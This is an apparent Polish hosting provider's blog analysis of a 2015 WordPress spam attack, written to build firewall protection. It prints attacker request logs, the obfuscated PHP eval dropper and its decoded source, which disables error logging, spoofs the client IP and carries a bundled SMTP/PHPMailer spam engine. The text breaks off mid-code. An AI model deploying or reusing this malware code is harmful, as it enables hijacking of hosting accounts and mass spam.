Analiza ataku na WordPress - Steganografia i spam

Paweł Malinowski 2015-10-20

W ciągu ostatnich tygodni zaobserwowaliśmy wzrost wykorzystania kont hostingowych do wysyłki spamu - w większości przypadków były to konta z zainstalowanym Wordpressem. Po wystąpieniu problemu rozpoczęliśmy analizę przykładowych zapytań przesyłanych do serwera w trakcie ataku, celem wdrożenia ochrony naszych klientów przed skutkami tej podatności.

Atak polegał na przesłaniu zapytań HTTP typu POST na pliki PHP umieszczone przez atakującego. Do samej infekcji dochodziło na kilka sposóbów:

Klienci Kylos.pl bezpieczni!

Klienci Kylos.pl nie musza martwić się o zabezpieczenie, ponieważ z naszej strony wyeliminowaliśmy podatność na atak z zastosowaniem firewalla filtrującego niepożądanych ruch, jednak są wyjątkowe sytuacje gdzie mogło do niego dojść:

  • przed wdrożeniem zabezpieczeń w usłudze hostingu Kylos.pl
  • infekcja jeszcze u poprzedniego dostawcy, gdzie takich zabezpieczeń nie było
  • mógł zostać użyty również inny mniej popularny wektor ataku

Analiza ataku

Podjęliśmy próbę przechwycenia treści przesyłanej w żądaniu, w celu jej analizy oraz utworzenia odpowiedniego wzorca blokującego atak. Przykładowe zapytania wyglądały tak jak poniżej:

69.30.238.234 - - [10/Oct/2015:22:39:43 +0200] "POST /piwik/plugins/ExampleTheme/help.php HTTP/1.1" 200 - - "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0" 192.254.158.53 - - [10/Oct/2015:22:39:46 +0200] "POST /wp-includes/js/test.php HTTP/1.1" 200 - - "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1" 188.143.234.81 - - [10/Oct/2015:22:39:54 +0200] "POST /wp-includes/js/test.php HTTP/1.1" 200 - - "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0"

Co ciekawe większość User Agentów wskazywała na system operacyjny Ubuntu.

Po podmianie pliku służącego do prowadzenia ataku na plik przechwytujący przesyłane treści, okazało się, że w tablicach $_POST oraz $_REQUEST nie ma żadnych danych. Zwykle w przypadku wysyłki spamu, cała treść przesyłana przez atakującego była umieszczana w jednej zmiennej POST, odpowiednio zserlizowanej i zakodowanej - zwykle za pomocą kodowania base_64 .
W tym przypadku jednak, po włączeniu przechwytywania wszystkich możliwych danych przesyłanych w żądaniu PHP, okazało się, że atakujący wykorzystuje przesyłanie danych przy użyciu plików , czyli tablicę $_FILES.

Ta zwierała dwie zmienne:

  • pierwsza miała losową nazwę i była zwykłym polem tekstowym
  • druga była plikiem.

Przykładowy zrzut poniżej:

Content-Disposition: form-data; name="zqdgm"
Content-Disposition: form-data; name="tree.jpg"; filename="tree.jpg"

 Zawartość pierwszej zmiennej sugerowała, że jest to treść zakodowana za pomocą base_64 - okazało się jednak, że po odkodowaniu nie jest możliwe jej odczytanie.
W przypadku pliku jpg, atakujący zadbał dość dobrze by odwrócić od niego uwagę, umieszczając nawet tagi exif:

^@^PJFIF^@^A^B^A^@^@^@^@^Exif^@^@II*^@^H^@^@^@^M^@^O^A^B^@^F^@^@^@^@^@^@^P^A^B^@^W^@^@^@^@^@^@^R^A^C^@^A^@^@^@^A^@^@^@^Z^A^E^@^A^@^@^@^@^@^@ESC^A^E^@^A^@^@^@^@^@^@(^A^C^@^A^@^@^@^B^@^@^@1^A^B^@ESC^@^@^@^@^@^@2^A^B^@^T^@^@^@^@^@^@>^A^E^@^B^@^@^@^F^A^@^@?^A^E^@^F^@^@^@^V^A^@^@^Q^B^E^@^C^@^@^@F^A^@^@^S^B^C^@^A^@^@^@^A^@^@^@i^D^@^A^@^@^@`^A^@^@X^D^@^@Canon^@Canon EOS 300D DIGITAL^@^@^@^@^A^@^@^@^@^@^@
^A^@^@^@Adobe Photoshop CS Windows^@2004:10:26 21:42:55^@9^A^@^@^C^@^@I^A^@^@^C^@^@@^@^@^@d^@^@^@!^@^@^@d^@^@^@^U^@^@^@d^@^@^@G^@^@^@d^@^@^@^O^@^@^@d^@^@^@^F^@^@^@d^@^@^@+^A^@^@^C^@^@K^B^@^@^C^@^@r^@^@^@^C^@^@^@^@^^^@

Z powodu braku możliwości odkodowania w łatwy sposób przesyłanej do serwera przez spamera treści, swoją uwagę skupiliśmy na pliku wykorzystywanym do ataku:

 
function vynymazp($tmhzyt, $cm){$meovdzyc = ''; for($i=0; $i < strlen($tmhzyt); $i++){$meovdzyc .= isset($cm[$tmhzyt[$i]]) ? $cm[$tmhzyt[$i]] : $tmhzyt[$i];}
$aqhwlv="base64_decode";return $aqhwlv($meovdzyc);}
$bmzdoay = '8bmjkXLJG58INHXlSzLl5H9nGlS6ZuMXDuagxagCkKMg5scmUA2tebLt5HXlSzLlSlS6Z1CgxagCk'.
'KMg5scmUA2teKVd5HXdGKciUbmnemL7kKimNla2qAF3AFwJG5WvUbmyGXL6kKi'.
'gUA2ahD6hAzmzhbmJSHX7hAWvQ7XPXFXPhPFhfaINNVLDWXNKWXNeNiwZQVLDWQ9bNi72TPCOolZ3ZCINNVLDWXNKWXNeNiNVD'.
'QLQWXLwWuWPNi72TPCOqDZso0CjqAd9Z06hAKmzhAVme5w7fP2F'.
'5icVQmGVQm6tPVWQQVLr57GTQmUwQFWVWVLbDiZt5PFgA2m3A2FNNVLDWXNKWXNeN7YQXVwvKVLbDiN58XNuWQWvWF'.
'LPNi72TPCOqDZso0CjqAd9Z06hA57hv8ggGOYgSscmUA2F57GNDuX'.
'DhPFhfaINGzLlGKV0kA2F57GNDuXDZbVJZAW4G5F2TDd2NbGgebQgA2m3A2FNkKrIZ5c7StwnSl2FGzm6GX6tezVyGPUUoACO'.
'ozgaGlZgh8INA56hA8FNNbGgebXjrKimZ172rK97G5NveKV0SzLJhAWzkK9mKlUjrKimNi7gxaINA8FFG'.
'zm6GKMYeKQ2TPwjUKiveKV0SzLJhAWzkK9mezVyGPF3A2FNAPWzkK9mezVyGPCLZBYjUKiveKV0SzLJhAWzkK9me'.
'zVyGPF3A2FNAPWvWFmqWXceNbymfXieZzMYeKQO5PCLZAWzkK9mezVy'.
'GD6hA8mLA2mLAt7hA8gzUKM0UbmneOw0U5c7eHivSsWlk5wvUbVtSl2FUbXdUAFhfaI2ZAC2NBWmfB82TPwJUBNgSVL7rK'.
'UJhAW7G5Y7oACtTbu+NlF3AOC2ZACFUbXdUACLZBc7SmLlG5w6rKcmhAZRrPwISzXzTXaOZOa2Zm62ZO'.
'a2NBWmfB8gxaI2ZAC2NBWmfB82TPwJUBNvSzXaebV0GP2OTALYTOZ6ZAZOoACFUbXdUAF3AOC'.
'2ZACFUbXdUACLZBc7SmLlG5w6rKcmhANSZ0dOoACOZV72ZOa2NBWmfB8gxaI2ZAC2SzX7U'.
'5NjZAW7G5Y7xagLAzGiezc7kKLjZbmJ5HmahAWJUBZgZB6hZAwlG5WiSzd2SBNmGiLyr5W0kA2OoidIKJuyxXiRKJuyxXie'.
'qA7M55a9KJCyxXieqA7M55alKJCycVieqA7M55alcX6aoDXUhPYSoOYeqA7M559eqP7M5X6ao'.
'DmUv1VeqA7M5X6aoDmUv1NeqA775X6aoDmUv1ZiKJCycX7gh56JvP8nZOaFSsWlhD6hv8gzUKM0UbmneOwzSzLy5HYnSs8INbc'.
'netWmet8gAt6hZAC2ZAWIesc7Z172SBNmGiLlG5w6rKcmhASn5OYsUsURGtWahXajoHFtoASto'.
(...)
$jc = Array('1'=>'D', '0'=>'j', '3'=>'7', '2'=>'g', '5'=>'X', '4'=>'r', '7'=>'0', '6'=>'s', '9'=>'x', '8'=>'Q', 'A'=>'C', 'C'=>'A', 'B'=>'H', 'E'=>'q', 'D'=>'T', 'G'=>'Z', 'F'=>'k', 'I'=>'o', 'H'=>'2', 'K'=>'W', 'J'=>'z', 'M'=>'5', 'L'=>'9', 'O'=>'i', 'N'=>'J', 'Q'=>'U', 'P'=>'S', 'S'=>'c', 'R'=>'8', 'U'=>'d', 'T'=>'P', 'W'=>'R', 'V'=>'F', 'Y'=>'h', 'X'=>'V', 'Z'=>'I', 'a'=>'w', 'c'=>'N', 'b'=>'G', 'e'=>'b', 'd'=>'4', 'g'=>'p', 'f'=>'e', 'i'=>'1', 'h'=>'K', 'k'=>'a', 'j'=>'u', 'm'=>'l', 'l'=>'y', 'o'=>'L', 'n'=>'v', 'q'=>'M', 'p'=>'6', 's'=>'3', 'r'=>'Y', 'u'=>'E', 't'=>'n', 'w'=>'B', 'v'=>'f', 'y'=>'t', 'x'=>'O', 'z'=>'m');
eval(vynymazp($bmzdoay, $jc));

Jak widać atakujący postarał się  o to, by uniemożliwić łatwe zrozumienie kodu, jednak wystarczy zamienić funkcję "return" na "echo" aby  otrzymać poniższy kod:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if(isset($_SERVER))
{
        $_SERVER['PHP_SELF'] = "/";
        $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
        if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
        {
                $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
        }
}
if(isset($_FILES))
{
        foreach($_FILES as $key => $file)
        {
                if(!strpos($file['name'], ".jpg"))
                {
                        $filename = alter_macros($file['name']);
                        $filename = num_macros($filename);
                        $filename = xnum_macros($filename);
                        $_FILES[$key]["name"] = $filename;
                }
        }
}
function custom_strip_tags($text)
{
    $text = strip_tags($text, '');
    $text = str_replace("", "", $text);
    $text = str_replace("">", " ] ", $text);
    return $text;
}
function is_ip($str) {
  return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
}
function from_host($content)
{
    $host = preg_replace('/^(www|ftp)./i','',@$_SERVER['HTTP_HOST']);
    if (is_ip($host))
    {
        return $content;
    }
    $tokens = explode("@", $content);
    $content = $tokens[0] . "@" . $host . ">";
    return $content;
}
function alter_macros($content)
{
    preg_match_all('#{(.*)}#Ui', $content, $matches);
    for($i = 0; $i < count($matches[1]); $i++)
    {
        $ns = explode("|", $matches[1][$i]);
        $c2 = count($ns);
        $rand = rand(0, ($c2 - 1));
        $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
    }
    return $content;
}
function xnum_macros($content)
{
    preg_match_all('#[NUM-([[:digit:]]+)]#', $content, $matches);
    for($i = 0; $i < count($matches[0]); $i++)
    {
        $num = $matches[1][$i];
        $min = pow(10, $num - 1);
        $max = pow(10, $num) - 1;
        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}
function num_macros($content)
{
    preg_match_all('#[RAND-([[:digit:]]+)-([[:digit:]]+)]#', $content, $matches);
    for($i = 0; $i < count($matches[0]); $i++)
    {
        $min = $matches[1][$i];
        $max = $matches[2][$i];
        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}
 
function fteil_macros($content, $fteil)
{
    return str_replace("[FTEIL]", $fteil, $content);
}
class SMTP
{
    const VERSION = '5.2.10';
    const CRLF = "rn";
    const DEFAULT_SMTP_PORT = 25;
    const MAX_LINE_LENGTH = 998;
    const DEBUG_OFF = 0;
    const DEBUG_CLIENT = 1;
    const DEBUG_SERVER = 2;
    const DEBUG_CONNECTION = 3;
    const DEBUG_LOWLEVEL = 4;
    public $Version = '5.2.10';
    public $SMTP_PORT = 25;
    public $CRLF = "rn";
    public $do_debug = self::DEBUG_OFF;
    public $Debugoutput = 'echo';
    public $do_verp = false;
    public $Timeout = 300;
    public $Timelimit = 300;
    protected $smtp_conn;
    protected $error = array(
        'error' => '',
        'detail' => '',
        'smtp_code' => '',
        'smtp_code_ex' => ''
    );
    protected $helo_rply = null;
    protected $server_caps = null;
    protected $last_reply = '';
    protected function edebug($str, $level = 0)
    {
        if ($level > $this->do_debug) {
            return;
        }
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->do_debug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                error_log($str);
                break;
            case 'html':
                echo htmlentities(
                    preg_replace('/[rn]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "
n";                 break;             case 'echo':             default:                 $str = preg_replace('/(rn|r|n)/ms', "n", $str);                 echo gmdate('Y-m-d H:i:s') . "t" . str_replace(                     "n",                     "n                   t                  ",                     trim($str)                 )."n";         }     }     public function connect($host, $port = null, $timeout = 30, $options = array())     {         static $streamok;         if (is_null($streamok)) {             $streamok = function_exists('stream_socket_client');         }         $this->setError('');         if ($this->connected()) {             $this->setError('Already connected to a server');             return false;         }         if (empty($port)) {             $port = self::DEFAULT_SMTP_PORT;         }         $this->edebug(             "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),             self::DEBUG_CONNECTION         );         $errno = 0;         $errstr = '';         if ($streamok) {             $socket_context = stream_context_create($options);             $this->smtp_conn = @stream_socket_client(                 $host . ":" . $port,                 $errno,                 $errstr,                 $timeout,                 STREAM_CLIENT_CONNECT,                 $socket_context             );         } else {             $this->edebug(                 "Connection: stream_socket_client not available, falling back to fsockopen",                 self::DEBUG_CONNECTION             );             $this->smtp_conn = fsockopen(                 $host,                 $port,                 $errno,                 $errstr,                 $timeout             );         }         if (!is_resource($this->smtp_conn)) {             $this->setError(                 'Failed to connect to server',                 $errno,                 $errstr             );             $this->edebug(                 'SMTP ERROR: ' . $this->error['error']                 . ": $errstr ($errno)",                 self::DEBUG_CLIENT             );             return false;         }         $this->edebug('Connection: opened', self::DEBUG_CONNECTION);         if (substr(PHP_OS, 0, 3) != 'WIN') {             $max = ini_get('max_execution_time');             if ($max != 0 && $timeout > $max) {                 @set_time_limit($timeout);             }             stream_set_timeout($this->smtp_conn, $timeout, 0);         }         $announce = $this->get_lines();         $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);         return true;     }     public function startTLS()     {         if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {             return false;         }         if (!stream_socket_enable_crypto(             $this->smtp_conn,             true,             STREAM_CRYPTO_METHOD_TLS_CLIENT         )) {             return false;         }         return true;     }     public function authenticate(         $username,         $password,         $authtype = null,         $realm = '',         $workstation = ''     ) {         if (!$this->server_caps) {             $this->setError('Authentication is not allowed before HELO/EHLO');             return false;         }         if (array_key_exists('EHLO', $this->server_caps)) {             if (!array_key_exists('AUTH', $this->server_caps)) {                 $this->setError('Authentication is not allowed at this stage');                 return false;             }             self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);             self::edebug(                 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),                 self::DEBUG_LOWLEVEL             );             if (empty($authtype)) {                 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {                     if (in_array($method, $this->server_caps['AUTH'])) {                         $authtype = $method;                         break;                     }                 }                 if (empty($authtype)) {                     $this->setError('No supported authentication methods found');                     return false;                 }                 self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);             }             if (!in_array($authtype, $this->server_caps['AUTH'])) {                 $this->setError("The requested authentication method "$authtype" is not supported by the server");                 return false;             }         } elseif (empty($authtype)) {             $authtype = 'LOGIN';         }         switch ($authtype) {             case 'PLAIN':                 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {                     return false;                 }                 if (!$this->sendCommand(                     'User & Password',                     base64_encode("" . $username . "" . $password),                     235                 )                 ) {                     return false;                 }                 break;             case 'LOGIN':                 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {                     return false;                 }                 if (!$this->sendCommand("Username", base64_encode($username), 334)) {                     return false;                 }                 if (!$this->sendCommand("Password", base64_encode($password), 235)) {                     return false;                 }                 break;             case 'NTLM':                 require_once 'extras/ntlm_sasl_client.php';                 $temp = new stdClass;                 $ntlm_client = new ntlm_sasl_client_class;                 if (!$ntlm_client->Initialize($temp)) {                     $this->setError($temp->error);                     $this->edebug(                         'You need to enable some modules in your php.ini file: '                         . $this->error['error'],                         self::DEBUG_CLIENT                     );                     return false;                 }                 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1                 if (!$this->sendCommand(                     'AUTH NTLM',                     'AUTH NTLM ' . base64_encode($msg1),                     334                 )                 ) {                     return false;                 }                 $challenge = substr($this->last_reply, 3);                 $challenge = base64_decode($challenge);                 $ntlm_res = $ntlm_client->NTLMResponse(                     substr($challenge, 24, 8),                     $password                 );                 $msg3 = $ntlm_client->TypeMsg3(                     $ntlm_res,                     $username,                     $realm,                     $workstation                 );                 return $this->sendCommand('Username', base64_encode($msg3), 235);             case 'CRAM-MD5':                 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {                     return false;                 }                 $challenge = base64_decode(substr($this->last_reply, 4));                 $response = $username . ' ' . $this->hmac($challenge, $password);                 return $this->sendCommand('Username', base64_encode($response), 235);             default:                 $this->setError("Authentication method "$authtype" is not supported");                 return false;         }         return true;     }     protected function hmac($data, $key)     {         if (function_exists('hash_hmac')) {             return hash_hmac('md5', $data, $key);         }         $bytelen = 64; // byte length for md5         if (strlen($key) > $bytelen) {             $key = pack('H*', md5($key));         }         $key = str_pad($key, $bytelen, chr(0x00));         $ipad = str_pad('', $bytelen, chr(0x36));         $opad = str_pad('', $bytelen, chr(0x5c));         $k_ipad = $key ^ $ipad;         $k_opad = $key ^ $opad;         return md5($k_opad . pack('H*', md5($k_ipad . $data)));     }     public function connected()     {         if (is_resource($this->smtp_conn)) {             $sock_status = stream_get_meta_data($this->smtp_conn);             if ($sock_status['eof']) {                 $this->edebug(                     'SMTP NOTICE: EOF caught while checking if connected',                     self::DEBUG_CLIENT                 );                 $this->close();                 return false;             }             return true; // everything looks good         }         return false;     }     public function close()     {         $this->setError('');         $this->server_caps = null;         $this->helo_rply = null;         if (is_resource($this->smtp_conn)) {             fclose($this->smtp_conn);             $this->smtp_conn = null; //Makes for cleaner serialization             $this->edebug('Connection: closed', self::DEBUG_CONNECTION);         }     }     public function data($msg_data)     {         if (!$this->sendCommand('DATA', 'DATA', 354)) {             return false;         }         $lines = explode("n", str_replace(array("rn", "r"), "n", $msg_data));         $field = substr($lines[0], 0, strpos($lines[0], ':'));         $in_headers = false;         if (!empty($field) && strpos($field, ' ') === false) {             $in_headers = true;         }         foreach ($lines as $line) {             $lines_out = array();             if ($in_headers and $line == '') {                 $in_headers = false;             }             while (isset($line[self::MAX_LINE_LENGTH])) {                 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');                 if (!$pos) {                     $pos = self::MAX_LINE_LENGTH - 1;                     $lines_out[] = substr($line, 0, $pos);                     $line = substr($line, $pos);                 } else {                     $lines_out[] = substr($line, 0, $pos);                     $line = substr($line, $pos + 1);                 }                 if ($in_headers) {                     $line = "t" . $line;                 }             }             $lines_out[] = $line;             foreach ($lines_out as $line_out) {                 if (!empty($line_out) and $line_out[0] == '.') {                     $line_out = '.' . $line_out;                 }                 $this->client_send($line_out . self::CRLF);             }         }         $savetimelimit = $this->Timelimit;         $this->Timelimit = $this->Timelimit * 2;         $result = $this->sendCommand('DATA END', '.', 250);         $this->Timelimit = $savetimelimit;         return $result;     }     public function hello($host = '')     {         return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));     }     protected function sendHello($hello, $host)     {         $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);         $this->helo_rply = $this->last_reply;         if ($noerror) {             $this->parseHelloFields($hello);         } else {             $this->server_caps = null;         }         return $noerror;     }     protected function parseHelloFields($type)     {         $this->server_caps = array();         $lines = explode("n", $this->last_reply);         foreach ($lines as $n => $s) {             $s = trim(substr($s, 4));             if (!$s) {                 continue;             }             $fields = explode(' ', $s);             if (!empty($fields)) {                 if (!$n) {                     $name = $type;                     $fields = $fields[0];                 } else {                     $name = array_shift($fields);                     if ($name == 'SIZE') {                         $fields = ($fields) ? $fields[0] : 0;                     }                 }                 $this->server_caps[$name] = ($fields ? $fields : true);             }         }     }     public function mail($from)     {         $useVerp = ($this->do_verp ? ' XVERP' : '');         return $this->sendCommand(             'MAIL FROM',             'MAIL FROM:<' . $from . '>' . $useVerp,             250         );     }     public function quit($close_on_error = true)     {         $noerror = $this->sendCommand('QUIT', 'QUIT', 221);         $err = $this->error; //Save any error         if ($noerror or $close_on_error) {             $this->close();             $this->error = $err; //Restore any error from the quit command         }         return $noerror;     }     public function recipient($toaddr)     {         return $this->sendCommand(             'RCPT TO',             'RCPT TO:<' . $toaddr . '>',             array(250, 251)         );     }     public function reset()     {         return $this->sendCommand('RSET', 'RSET', 250);     }     protected function sendCommand($command, $commandstring, $expect)     {         if (!$this->connected()) {             $this->setError("Called $command without being connected");             return false;         }         $this->client_send($commandstring . self::CRLF);         $this->last_reply = $this->get_lines();         $matches = array();         if (preg_match("/^([0-9]{3})[ -](?:([0-9].[0-9].[0-9]) )?/", $this->last_reply, $matches)) {             $code = $matches[1];             $code_ex = (count($matches) > 2 ? $matches[2] : null);             $detail = preg_replace(                 "/{$code}[ -]".($code_ex ? str_replace('.', '.', $code_ex).' ' : '')."/m",                 '',                 $this->last_reply             );         } else {             $code = substr($this->last_reply, 0, 3);             $code_ex = null;             $detail = substr($this->last_reply, 4);         }         $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);         if (!in_array($code, (array)$expect)) {             $this->setError(                 "$command command failed",                 $detail,                 $code,                 $code_ex             );             $this->edebug(                 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,                 self::DEBUG_CLIENT             );             return false;         }         $this->setError('');         return true;     }     public function sendAndMail($from)     {         return $this->sendCommand('SAML', "SAML FROM:$from", 250);     }     public function verify($name)     {         return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));     }     public function noop()     {         return $this->sendCommand('NOOP', 'NOOP', 250);     }     public function turn()     {         $this->setError('The SMTP TURN command is not implemented');         $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);         return false;     }     public function client_send($data)     {         $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);         return fwrite($this->smtp_conn, $data);     }     public function getError()     {         return $this->error;     }     public function getServerExtList()     {         return $this->server_caps;     }     public function getServerExt($name)     {         if (!$this->server_caps) {             $this->setError('No HELO/EHLO was sent');             return null;         }         // the tight logic knot ;)         if (!array_key_exists($name, $this->server_caps)) {             if ($name == 'HELO') {                 return $this->server_caps['EHLO'];             }             if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {                 return false;             }             $this->setError('HELO handshake was used. Client knows nothing about server extensions');             return null;         }         return $this->server_caps[$name];     }     public function getLastReply()     {         return $this->last_reply;     }     protected function get_lines()     {         if (!is_resource($this->smtp_conn)) {             return '';         }         $data = '';         $endtime = 0;         stream_set_timeout($this->smtp_conn, $this->Timeout);         if ($this->Timelimit > 0) {             $endtime = time() + $this->Timelimit;         }         while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {             $str = @fgets($this->smtp_conn, 515);             $this->edebug("SMTP -> get_lines(): $data was "$data"", self::DEBUG_LOWLEVEL);             $this->edebug("SMTP -> get_lines(): $str is "$str"", self::DEBUG_LOWLEVEL);             $data .= $str;             $this->edebug("SMTP -> get_lines(): $data is "$data"", self::DEBUG_LOWLEVEL);             if ((isset($str[3]) and $str[3] == ' ')) {                 break;             }             $info = stream_get_meta_data($this->smtp_conn);             if ($info['timed_out']) {                 $this->edebug(                     'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',                     self::DEBUG_LOWLEVEL                 );                 break;             }             if ($endtime and time() > $endtime) {                 $this->edebug(                     'SMTP -> get_lines(): timelimit reached ('.                     $this->Timelimit . ' sec)',                     self::DEBUG_LOWLEVEL                 );                 break;             }         }         return $data;     }     public function setVerp($enabled = false)     {         $this->do_verp = $enabled;     }     public function getVerp()     {         return $this->do_verp;     }     protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')     {         $this->error = array(             'error' => $message,             'detail' => $detail,             'smtp_code' => $smtp_code,             'smtp_code_ex' => $smtp_code_ex         );     }     public function setDebugOutput($method = 'echo')     {         $this->Debugoutput = $method;     }     public function getDebugOutput()     {         return $this->Debugoutput;     }     public function setDebugLevel($level = 0)     {         $this->do_debug = $level;     }     public function getDebugLevel()     {         return $this->do_debug;     }     public function setTimeout($timeout = 0)     {         $this->Timeout = $timeout;     }     public function getTimeout()     {         return $this->Timeout;     } } class PHPMailer {     public $Version = '5.2.9';     public $Priority = 3;     public $CharSet = 'iso-8859-1';     public $ContentType = 'text/plain';     public $Encoding = '8bit';     public $ErrorInfo = '';     public $From = 'root@localhost';     public $FromName = 'Root User';     public $Sender = '';     public $ReturnPath = '';     public $Subject = '';     public $Body = '';     public $AltBody = '';     public $Ical = '';     protected $MIMEBody = '';     protected $MIMEHeader = '';     protected $mailHeader = '';     public $WordWrap = 0;     public $Mailer = 'mail';     public $Sendmail = '/usr/sbin/sendmail';     public $UseSendmailOptions = true;     public $PluginDir = '';     public $ConfirmReadingTo = '';     public $Hostname = '';     public $MessageID = '';     public $MessageDate = '';     public $Host = 'localhost';     public $Port = 25;     public $Helo = '';     public $SMTPSecure = '';     public $SMTPAuth = false;     public $Username = '';     public $Password = '';     public $AuthType = '';     public $Realm = '';     public $Workstation = '';     public $Timeout = 300;     public $SMTPDebug = 0;     public $Debugoutput = 'echo';     public $SMTPKeepAlive = false;     public $SingleTo = false;     public $SingleToArray = array();     public $do_verp = false;     public $AllowEmpty = false;     public $LE = "n";     public $DKIM_selector = '';     public $DKIM_identity = '';     public $DKIM_passphrase = '';     public $DKIM_domain = '';     public $DKIM_private = '';     public $action_function = '';     public $XMailer = '';     protected $smtp = null;     protected $to = array();     protected $cc = array();     protected $bcc = array();     protected $ReplyTo = array();     protected $all_recipients = array();     protected $attachment = array();     protected $CustomHeader = array();     protected $lastMessageID = '';     protected $message_type = '';     protected $boundary = array();     protected $language = array();     protected $error_count = 0;     protected $sign_cert_file = '';     protected $sign_key_file = '';     protected $sign_key_pass = '';     protected $exceptions = false;     const STOP_MESSAGE = 0;     const STOP_CONTINUE = 1;     const STOP_CRITICAL = 2;     const CRLF = "rn";     public function __construct($exceptions = false)     {         $this->exceptions = (boolean)$exceptions;     }     public function __destruct()     {     }     private function mailPassthru($to, $subject, $body, $header, $params)     {         //Check overloading of mail function to avoid double-encoding         if (ini_get('mbstring.func_overload') & 1) {             $subject = $this->secureHeader($subject);         } else {             $subject = $this->encodeHeader($this->secureHeader($subject));         }         if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {             $result = @mail($to, $subject, $body, $header);         } else {             $result = @mail($to, $subject, $body, $header, $params);         }         return $result;     }     protected function edebug($str)     {         if ($this->SMTPDebug <= 0) {             return;         }         //Avoid clash with built-in function names         if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {             call_user_func($this->Debugoutput, $str, $this->SMTPDebug);             return;         }         switch ($this->Debugoutput) {             case 'error_log':                 //Don't output, just log                 error_log($str);                 break;             case 'html':                 //Cleans up output a bit for a better looking, HTML-safe output                 echo htmlentities(                     preg_replace('/[rn]+/', '', $str),                     ENT_QUOTES,                     'UTF-8'                 )                 . "
n";                 break;             case 'echo':             default:                 //Normalize line breaks                 $str = preg_replace('/(rn|r|n)/ms', "n", $str);                 echo gmdate('Y-m-d H:i:s') . "t" . str_replace(                     "n",                     "n                   t                  ",                     trim($str)                 ) . "n";         }     }     public function isHTML($isHtml = true)     {         if ($isHtml) {             $this->ContentType = 'text/html';         } else {             $this->ContentType = 'text/plain';         }     }     public function isSMTP()     {         $this->Mailer = 'smtp';     }     public function isMail()     {         $this->Mailer = 'mail';     }     public function isSendmail()     {         $ini_sendmail_path = ini_get('sendmail_path');         if (!stristr($ini_sendmail_path, 'sendmail')) {             $this->Sendmail = '/usr/sbin/sendmail';         } else {             $this->Sendmail = $ini_sendmail_path;         }         $this->Mailer = 'sendmail';     }     public function isQmail()     {         $ini_sendmail_path = ini_get('sendmail_path');         if (!stristr($ini_sendmail_path, 'qmail')) {             $this->Sendmail = '/var/qmail/bin/qmail-inject';         } else {             $this->Sendmail = $ini_sendmail_path;         }         $this->Mailer = 'qmail';     }     public function addAddress($address, $name = '')     {         return $this->addAnAddress('to', $address, $name);     }     public function addCC($address, $name = '')     {         return $this->addAnAddress('cc', $address, $name);     }     public function addBCC($address, $name = '')     {         return $this->addAnAddress('bcc', $address, $name);     }     public function addReplyTo($address, $name = '')     {         return $this->addAnAddress('Reply-To', $address, $name);     }     protected function addAnAddress($kind, $address, $name = '')     {         if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {             $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);             $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);             if ($this->exceptions) {                 throw new phpmailerException('Invalid recipient array: ' . $kind);             }             return false;         }         $address = trim($address);         $name = trim(preg_replace('/[rn]+/', '', $name)); //Strip breaks and trim         if (!$this->validateAddress($address)) {             $this->setError($this->lang('invalid_address') . ': ' . $address);             $this->edebug($this->lang('invalid_address') . ': ' . $address);             if ($this->exceptions) {                 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);             }             return false;         }         if ($kind != 'Reply-To') {             if (!isset($this->all_recipients[strtolower($address)])) {                 array_push($this->$kind, array($address, $name));                 $this->all_recipients[strtolower($address)] = true;                 return true;             }         } else {             if (!array_key_exists(strtolower($address), $this->ReplyTo)) {                 $this->ReplyTo[strtolower($address)] = 